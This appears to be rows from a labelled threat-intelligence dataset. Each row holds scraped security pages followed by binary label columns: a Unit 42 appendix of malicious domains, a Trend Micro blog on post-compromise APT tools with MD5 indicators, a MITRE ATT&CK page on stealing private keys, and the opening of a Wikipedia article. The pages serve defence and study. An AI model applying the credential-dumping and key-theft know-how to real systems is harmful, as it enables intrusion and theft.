a33bccaa7d2d3797f25edfae846f1e7757b50633b374f8ce1faf7a5934784817 3c55a81f460804e2e39a1d3dc556fa5a93fe7ce8c139f8b68f1e5ca98f62875c 0a376070679f6a31b2f6aaef23747f930544ab77ad01d30007f6d0ccf2bead60 cdf964200bb9130c09d1bfd17677e2da5808c179a2cd6d49fa32780df1b5b92a 92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812 e73dd4c69a9a9fedd40c290bad68115e3645e74d1d68af0d7fe77ef7c0c5e875 e7fb8bf35fb9bfa2f20fcc293939aad71d5fc39af36defb5150e2f394bb1500e cd933c6cc8450135deacd61a51e1b425ff7516cac078b92fe1b6f602e4c39e53 025ab87dc729cbf284104a8c9872b63e486ad8af9aef422906743feb0db04224 42adec426addf3fd0c6aff406b46fa82d901f5a9bed7758a243458961349a362 78301ce0bb93dea81f4d70ebb224cc076e7f1e4c38b65afbbc1ad8d4c4882893 5ea75fcdd2be820efdddc411fce9b6d277b66d3356ab8f79bcf542a4ce9fdfa0 c595e47f8e50e8f0ffdc3258f2dcc9411150c3ea00709341c6d4e42d578e46ae 201642c6d1341127aa0137e20db8a3d2da0412fb06ff14eae0c61f6174a44045 fedf49896daa893608deaec7b36a4acb8fbedf7363788c35a6c0431ad0fadca9 22ff8ce9840bae9c9c9aa107e689ec287abb93d585a469c442b295146b9c10c2 30aa9b1c18bb494a01817b5fc0f7418efe2022e7335e815d96dcb8c1fe63e8e8 830cb27f0c584d55267a4e0f6ddcb00c53ce1906946f5d490a26729d38d12057 7370c81abf55a39918a537d1e49a51d74df2042883d11062383038367c864087 d9253c808d83ace06f885479e0807246a29cb9967ea0d0855f5a3802825b13db ffea93677d1c404900ea5ba20631625ea2e28a22c3af02155c747f2f25429885 a25abe1c21bec0c0259270aa2333ee1d1b6a327a356f5434c42558143a252afe ce606c710aa001b09f0b51b78bf8675d8b1be4d99714b1a3b9ca245865fec508 98f57b4693bbe9d469821f5433004edafe6ddf8964fa1ef1465ee73fbce24e0c 18c84b6f7e58b2867ec6f3e7c7998ac6901fd485d503d32c8fabff93744574d1 9b2c33764252c2bf807c837d80bffc21eeab87e7129c2d3e9b9b7a1eeee2de84 24a9c57bb4cbb3d1b89c4e7affad599d431de4f007d4c54a4da25a8a2ba4f116 17a4126fb1fb19885d78c82271464d82af8618b7d1b7d8901666c1121ddb2ba1 278dba3857367824fc2d693b7d96cef4f06cb7fdc52260b1c804b9c90d43646d 2d75335f8c7d4e956dcd637f480c94f6ed49a9870375aad0eee1e651d6e7ac02 5b84e8ad40e018b5d87a464e67173eebe2b268e816d9bb864f1d0f1441bebc7c f52e47c6b0916655d7e8868bd79904e8825fdf98624d8c42192cae808543b0a5 c4f0ec52ce768f2ba36e4954e2afca3ef7ef46d757070a861cc6609d256a3fe1 3d59703fb58265b07ae1cb26750baba733e304f5540a6824329b7ff6f7ab3efe b02585dd5399047daf3bccd9d7ed5cc69b0fc23b4709e9270c9f09f67c0a23bc d18e84f86d7a8cfd246baa1684517d69e411780f9da6b8e3ddb99a61c8d0947a c4fd31ab40e6cb2ebf75d5dc81045ebc38a8825def3f1696a539c32e5ec5b353 9c6b8eb7c007abc681ceb67da5b1c7533055bb9985236abb46ec6f7e0b14e03e f1e8a5cb9c019dd649564efe4157a90a6f980fd1f0f75c596f20c02e08462373 8443d7bbd02bed691ba1ce55ea0660601c5f10256cbfafd410de41ab2cd4d047 ade725bed78f8a8f0c9a612ee22ea716e3caeacbe16726f9726b39d74e5f3c18 a94e82793f458b81707e005ba1298022a6b7ca0c07869884750d121a06401689 3466d46a970b77cd14cf5c6c8587f522c9b823c8b28abf87a66b07e32041e5c1 d906118fb36a0cc4e83121d4d606ad685645252e8e0791f793057499d8751bf0 9a8acd988089e7f9dd04f971374f766db519e854d42e8052b0d98b4c9c6b67e4 122f4d69497a162a942d8f400dabbe93ae0a326a022886bf6c9c45d23c299f96 ce98ab10089a9ef089941e48fe4cdf1af5c8a3df358f870d933668bbfb2f330e a713f5c0089a5ef9b2da40fa8cfe06aad73cc836f337c772b1c7d30d70a6c5ed 7fd71102743bf9212b96368597be396a1a22a49a1ec011f1c607533bdefc94bb 46f3afae22e83344e4311482a9987ed851b2de282e8127f64d5901ac945713c0 a7c30a18a3840a97c1ce0130b55ef3f514952233dfcc8662a9e66c6029f95ba9 86ede9ee62785fb11f4c6c95937d6d5bc6bb16c0d3b90ffeeab719b59f7d4e61 30282a807c2ee27b0d1dda310e41487f5018bc5fc5df8af6c13d08df34f2b6df f36048ea70f70c4adde2d93819e7aa8652ab2761e598cafb1ea871b6730dbad3 cf53fc8c9ce4e5797cc5ac6f71d4cbc0f2b15f2ed43f38048a5273f40bc09876 8f82649ca0e9d1d48ec58a9e2e8431ddda0dc62db1a6d2cd9ec29afa7d59abc3 358b0d6fc23b4984b51deb81ce89c110582e1730bd1eb163f633e1ed9e3388ee 89bb38d54a80b460ea2744b7c5af02a1823939b55990ccd31c06d7ef040d29f3 4a2ef9663f0d5fdfa551e3d31af6dbcffdc78ea02c0fb963b5486daee78421bc 27752bbb01abc6abf50e1da3a59fefcce59618016619d68690e71ad9d4a3c247 fc7558abd0b196a2c070db98268ed00dff186d609e23a93c03640dcc478db2eb 46dd5deda642d4a8cf628d865483e82279cce2846106b830d45b64e1e19727dd 5c47ed83e47f1bdde8c1ebc3d6193fef190c3934fb2239e84950ae5c073eb808 cc8020c36156c7e5c8cfbbb32bc8d7f03536510f4e3b38b22e0abdb9ad90c90e 39b825e400ea17215d6efc5ae425759bbfd3cd8569451680fbf782cfedbec0c5 050610cfb3d3100841685826273546c829335a5f4e2e4260461b88367ad9502c 08b32da8995ae094bfb703d7d975c3816cf04c075c32281e51158164d76cd655 24fe39572ee425e30c018947a1422342479a3d664d1a8d2ab28cef656394073a 1a65e43afaaff90b4124cbef21fadc319f10fba4843d09837219400b0dbcc285 087941d80baca00501739abf0b8450dce723733ea8866589fa9779481e7a6cfb 285998bce9692e46652529685775aa05e3a5cb93ee4e65d021d2231256e92813 c9c4263ac3287aa48d8cf03fdbb32a179cfd8c08d1c1a39696d8c932603e8df9 bc8b240c89304c12dce75076f9fcc2859f48ec01347f9cc0a4cb9fbcb77ed089 2349d745d84db772d97c599e6150ff4585a69d915deb6d6e6601e412651164f3 2941f75da0574c21e4772f015ef38bb623dd4d0c81c263523d431b0114dd847e 69424f5e0bd974271f367fae04179de4efe233d56ad81840a3c3936eaa244502 a793a401277b307c3b056a725672d81b71492cb564d6db2445a9c30724f61d72 68ba2fa76ef3b3c905f26dae3c75a6b5e165b4246cb4f574c07ad70013b265ae b2d203b927507176606a6616ba8b8729050ecaff0790a9deb37df32caab7d613 2c64a3d6b896ee1b58b9cf55531b7256de45025d60b1f4be764b385de087b52f a1a5abab16c9de1c69c4a7e731c0f13c9bb8ce90dab15546807cae039c7f9385 ece76fdf7e33d05a757ef5ed020140d9367c7319022a889923bbfacccb58f4d7 106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea \xc2 Appendix 2 \xe2\x80\x93 IOCs Pal4u[.]net Pal2me[.]net Pay2earn[.]net Shop8d[.]net Ts4shope[.]net pal4news[.]net ads4market[.]net wp.piedslibres[.]com (hijacked legitimate site) Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","1","0","0","1","0","1","1","0","1","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0" -"In-Depth Look: APT Attack Tools of the Trade - TrendLabs Security Intelligence Blog Trend Micro About TrendLabs Security Intelligence Blog Search: Go to\xe2\x80\xa6 Home Categories - \xc2 \xc2 Ransomware - \xc2 \xc2 Vulnerabilities - \xc2 \xc2 Exploits - \xc2 \xc2 Targeted Attacks - \xc2 \xc2 Deep Web - \xc2 \xc2 Mobile - \xc2 \xc2 Internet of Things - \xc2 \xc2 Malware - \xc2 \xc2 Bad Sites - \xc2 \xc2 Spam - \xc2 \xc2 Botnets - \xc2 \xc2 Social - \xc2 \xc2 Open source Home Categories Ransomware Vulnerabilities Exploits Targeted Attacks Deep Web Mobile Internet of Things Malware Bad Sites Spam Botnets Social Open source Home \xc2 \xc2 \xc2\xbb\xc2 \xc2 Malware \xc2 \xc2 \xc2\xbb\xc2 \xc2 In-Depth Look: APT Attack Tools of the Trade In-Depth Look: APT Attack Tools of the Trade Posted on:March 4, 2013 at 4:41 pm Posted in:Malware, Targeted Attacks Author: Kyle Wilhoit (Senior Threat Researcher) 3 Recently, we shed some light on APT attack tools and how to identify them. Part of our daily tasks as threat researchers revolves around investigating APT actors, and the tools that they utilize to help better protect our customers. The purpose of this blog is to further investigate the tools that APT actors typically use and what they do with them. How these tools are used While many would think these tools are used during the initial compromise phase of an attack- that is not the case with this post. I will be focusing on the tools that are used after the initial compromise is attained. The following diagram illustrates where these tools are commonly used in a traditional APT lifecycle. Figure 1. Traditional APT lifecycle Step 1: The attacker sends malware to the victim. This can be done in many ways \xe2\x80\x93 an email message with a malicious attachment, a USB flash disk, or a compromised web site are all possibilities. Step 2: The malware is executed on the affected system. This may require manual steps by the victim, or it could be done without any intervention using exploits. Step 3: When the malware is run, it drops a backdoor such as STARSYPOUND or BOUNCER. These first stage tools push a backdoor to the attacker for later access. (These could be considered first stage tools). It allows the attacker to maintain persistence and get access to the system at a later time. Step 4: The attacker then uploads tools to perform data exfiltration, lateral movement, and a litany of other tasks. Tools overview The tools listed below include some of the tools APT actors use on a daily basis. These tools are typically employed once the APT actor gets access to the victim\xe2\x80\x99s machine via one of the first stage tools listed above. Keep in mind however, that these tools are not inclusive of first stage tools such as backdoors, Trojans, and other categorical tools. In addition, this \xc2 is not a complete listing of tools since that is \xc2 impossible to create based on the ever-changing threat landscape. Many APT actors use custom coded applications that perform similar functionality, and thus may differ from those listed below. Use this list as a baseline of functionality to help identify similar tools in your environment and to demonstrate known tools that are used in common APT campaigns. Word of caution Identifying these tools does not necessarily imply that you have been compromised or fallen victim to an APT attack. The IOC\xe2\x80\x99s contain both MD5s of the compiled apps/scripts, and/or unique strings within the code prior to being compiled. Minor modifications to these files can change the MD5 hash, so this is a limited method for identification of these applications/scripts. Also note that the\xc2 phase of usage is generic for when Trend Micro typically sees these tools used. These tools are sometimes used in other stages of APT attacks. Some of them also have valid use cases where there are business needs for using the application. (Some examples include Netbox, dbgview, sdelete, etc.) Tool Name Description Typical Phase of Usage Indicators of Compromise (IOC) GETMAIL Typically used to ascertain mail archives and mail out of those archives. Exfiltration Unique String: Lu\xe2\x80\x99s Crazy Profile (democode) Saved File Name: >=3 digit number-attach.doc Netbox For hosting tools/drop servers/ C2 servers. Commonly used as infrastructure on the backend to support operational tasks. (Netbox also has valid uses, and is not a direct indicator of compromise) Attack, Exfiltration, Persistence N/A Pwdump Dumps password hashes from the Windows registry. Typically used to crack passwords for lateral movement throughout the victim environment. \xc2 It can also be used in pass-the-hash attacks. Lateral Movement MD5: 0xDD2EF0D6487385839BBF7863FE450CC5 Cachedump A program for extracting cached password hashes from a system\xe2\x80\x99s registry. Typically used to crack passwords for lateral movement throughout the victim environment. It can also be used in pass-the-hash attacks. Lateral Movement MD5: 5065266fbad9362d5a329c5388627ea5 Lslsass Dumps active login session password hashes from \xc2 windows processes. It is used to crack passwords for lateral movement throughout the victim environment. It can also be used in pass-the-hash attacks. Persistence, Lateral Movement MD5:ede305561db6f7ca1783e0fc75d0db14 mapiget This is for collecting emails directly from Outlook, prior to ever getting archived. It is then dumped to text files. Persistence, Lateral Movement Unique String: WNetCancelConnection2W Saved File Name: 5-mail.txt, mail.txt HTRAN Connection bouncer, redirects TCP traffic destinted for one host to an alternate host. It is also used to help obfuscate source IP of \xc2 an attacker. It allows the attacker to bounce through several connections in the victim country, confusing incident responders. Attack, Exfiltration, Persistence MD5:e0c14f98c4d4b995f00d49616bf9ba57, 2edfe2b5238c8f49130f2a2f85e33c18, 1725e68e574e4b077f7d16f7fa30d984, 7e3bb01afb4c50da526d142fdf444688, 3548ea689e06a2599bdd1bdb909abb75, Windows Credential Editor (WCE) A security tool that allows to list logon sessions and add, change, list and delete associated credentials Persistence, Lateral Movement MD5:bd73c74819d8db09c645c738bbd3f5b9, df840ac27051d26555a109cc47d03fe4 Lz77.exe It is used as a compression application to help exfiltrate data. This is commonly seen in \xc2 Winrar, 7zip, and Winzip. Exfiltration MD5: 2238453fd8225baff0d52bf64361b4fd Gsecdump Grabs SAM file, cached credentials, and LSA secrets. Used for lateral movement in victim environment and pass-the-hash style attacks. Lateral Movement MD5: 57F222D8FBE0E290B4BF8EAA994AC641, 875f3fc948c6534804a26176dcfb6af0, 8ee24ad5b849877907304de566fb6dc6 ZXProxy (A.K.A AProxy) Proxy functionality for traffic redirection. This helps redirect HTTP/HTTPS connections for source obfuscation. We have seen it used in data exfiltration. Exfiltration, Persistence MD5: 0xEB36A5EF6A807FB7B2E2912E08B4882D, 0x69F5A988B4F3A3E5D300D489C9707CD6, 286760651edfe6a8b34988004156b894 LSB-Steganography Uses steganography techniques to embed files into images. This helps with data exfiltration as well as during the initial compromise of a traditional APT attack. Initial Compromise, Exfiltration MD5: c188ef350f1ee0e5fa6f6ef2e70231bc UPX Shell Used to help pack code for malware used in APT campaigns. This tool helps prevent reverse engineering and code analysis. Attack, Persistence MD5: 1281478d409de246777472db99f58751 ZXPortMap Traffic redirection tool, which helps to obfuscate the source of connections. Persistence, Exfiltration MD5: 9a7b9caae7b8b3a2b5d68e6880b6d0a4, 2fdbb3ee0edc5e589ea727bbc2cd6d50 ZXHttpServer Small HTTP server that is deployable and extremely flexible. We have seen it used when attempting transfer of some files. Exfiltration Unique String: ZXHttpServer, ZXHttpServer.exe Sdelete Secure deletion tool. Allows for secure deletion to make forensic recovery difficult- therefore complicating incident response procedures. Persistence, Cover MD5: e189b5ce11618bb7880e9b09d53a588f Dbgview An application that lets you monitor debug output on your local system, or any computer on the network that you can reach via TCP/IP Persistence, Lateral Movement MD5: cea66497fa93db4b0dd33438a2a5d6bd Many of these tools are copied to victim machines, and are often never removed by the APT actors for whatever reason. If you happen to see tools that are similar in function to the tools listed above, \xc2 I think it warrants a closer look at the tools, and how they are being used in your environment. What Can Be Done There are many things that can be done to help prevent the installation of these applications onto your organizational machines such as the following: Utilize application white listing where necessary to prevent these items from being installed/used on your systems. Include SIEM resources in your organizational budget for robust logging. This will help forensically should it be needed. Remove local administrator rights for users. This will help prevent new applications are installed in the traditional fashion. While some of these applications don\xe2\x80\x99t require install to work, not having administrator rights will limit what these applications can do. Many of the tools listed above will be blocked by Trend Micro products, which classify them as malicious. Here are some additional recommendations on what to do when you see these applications being used in malicious means: Look at firewall, system, security, proxy, and other logs that your system is logging to identify usage patterns of the tools. Look for communication on erroneous ports as well as traffic to IP space that is not typical to the user. Utilize IOCs (indicators of compromise) to locate similar filenames or MD5/SHA hashes for applications similar to above. Focus on path of utilization as well as filename oddities. (Such as an app named xzz.exe, which would raise a red flag) Utilize WMIC to create a script that can search throughout your entire organizational Active Directory trees and look for unique identifiers of these tools. Create a list of bad applications unique to your organization. Utilize these lists and native toolsets to each operating system to locate questionable tools. Tools for Windows like\xc2 PsExec work well for this. On Linux systems, dpkg-query or qpkg work well for this. Learn how to protect Enterprises, Small Businesses, and Home Users from ransomware: ENTERPRISE \xc2\xbb SMALL BUSINESS\xc2\xbb HOME\xc2\xbb Featured Stories systemd Vulnerability Leads to Denial of Service on Linux qkG Filecoder: Self-Replicating, Document-Encrypting Ransomware Mitigating CVE-2017-5689, an Intel Management Engine Vulnerability A Closer Look at North Korea\xe2\x80\x99s Internet From Cybercrime to Cyberpropaganda Security Predictions for 2019 Our security predictions for 2019 are based on our experts\xe2\x80\x99 analysis of the progress of current and emerging technologies, user behavior, and market trends, and their impact on the threat landscape. We have categorized them according to the main areas that are likely to be affected, given the sprawling nature of the technological and sociopolitical changes under consideration. Read our security predictions for 2019. Business Process Compromise Attackers are starting to invest in long-term operations that target specific processes enterprises rely on. They scout for vulnerable practices, susceptible systems and operational loopholes that they can leverage or abuse. To learn more, read our Security 101: Business Process Compromise. Recent Posts When PSD2 Opens More Doors: The Risks of Open Banking Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload Hacking LED Wristbands: A \xe2\x80\x98Lightning\xe2\x80\x99 Recap of RF Security Basics From BinDiff to Zero-Day: A Proof of Concept Exploiting CVE-2019-1208 in Internet Explorer September Patch Tuesday Bears More Remote Desktop Vulnerability Fixes and Two Zero-Days Popular Posts TA505 At It Again: Variety is the Spice of ServHelper and FlawedAmmyy BlackSquid Slithers Into Servers and Drives With 8 Notorious Exploits to Drop XMRig Miner Adware Posing as 85 Photography and Gaming Apps on Google Play Installed Over 8 Million Times Uncovering a MyKings Variant With Bootloader Persistence via Managed Detection and Response Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi Stay Updated Email Subscription Subscribe Home and Home Office | For Business | Security Intelligence | About Trend Micro Asia Pacific Region (APAC): Australia / New Zealand, \xe4\xb8\xad\xe5\x9b\xbd, \xe6\x97\xa5\xe6\x9c\xac, \xeb\x8c\x80\xed\x95\x9c\xeb\xaf\xbc\xea\xb5\xad, \xe5\x8f\xb0\xe7\x81\xa3 Latin America Region (LAR): Brasil, M\xc3\xa9xico North America Region (NABU): United States, Canada Europe, Middle East, & Africa Region (EMEA): France, Deutschland / \xc3\x96sterreich / Schweiz, Italia, \xd0 \xd0\xbe\xd1\x81\xd1\x81\xd0\xb8\xd1\x8f, Espa\xc3\xb1a, United Kingdom / Ireland Privacy Statement Legal Policies Copyright \xc2\xa9 Trend Micro Incorporated. All rights reserved.","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Private Keys - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Private Keys Private Keys Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. [1] Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users(username).ssh\\ on Windows. Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. [2] [3] ID:\xc2 T1145 Tactic: Credential Access Platform:\xc2 Linux, macOS, Windows Permissions Required:\xc2 User Data Sources:\xc2 File monitoring Contributors:\xc2 Itzik Kotler, SafeBreach Version:\xc2 1.0 Mitigations Mitigation Description Audit Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Encrypt Sensitive Information When possible, store keys on separate cryptographic hardware instead of on the local system. Network Segmentation Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Password Policies Use strong passphrases for private keys to make cracking difficult. Restrict File and Directory Permissions Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Examples Name Description Ebury Ebury has intercepted unencrypted private keys as well as private key pass-phrases. [6] Empire Empire can use modules like Invoke-SessionGopher to extract private key and session information. [5] jRAT jRAT can steal keys for VPNs and cryptocurrency wallets. [7] Mimikatz Mimikatz's CRYPTO::Extract module can extract keys by interacting with Windows cryptographic application programming interface (API) functions. [4] Detection Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. References Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017. Kaspersky Labs. (2014, February 11). Unveiling \xe2\x80\x9cCareto\xe2\x80\x9d - The Masked APT. Retrieved July 5, 2017. Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \xe2\x80\x93 Game Over. Retrieved July 5, 2017. Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015. Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. M.L\xc3\xa9veill\xc3\xa9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019. Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Public-key cryptography - Wikipedia Public-key cryptography From Wikipedia, the free encyclopedia Jump to navigation Jump to search This article needs additional citations for verification. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed. Find sources:\xc2 ""Public-key cryptography""\xc2 \xe2\x80\x93\xc2 news\xc2 \xc2\xb7 newspapers\xc2 \xc2\xb7 books\xc2 \xc2\xb7 scholar\xc2 \xc2\xb7 JSTOR (July 2018) (Learn how and when to remove this template message) An unpredictable (typically large and random) number is used to begin generation of an acceptable pair of keys suitable for use by an asymmetric key algorithm. In an asymmetric key encryption scheme, anyone can encrypt messages using the public key, but only the holder of the paired private key can decrypt. Security depends on the secrecy of the private key. In the Diffie\xe2\x80\x93Hellman key exchange scheme, each party generates a public/private key pair and distributes the public key. After obtaining an authentic copy of each other's public keys, Alice and Bob can compute a shared secret offline. The shared secret can be used, for instance, as the key for a symmetric 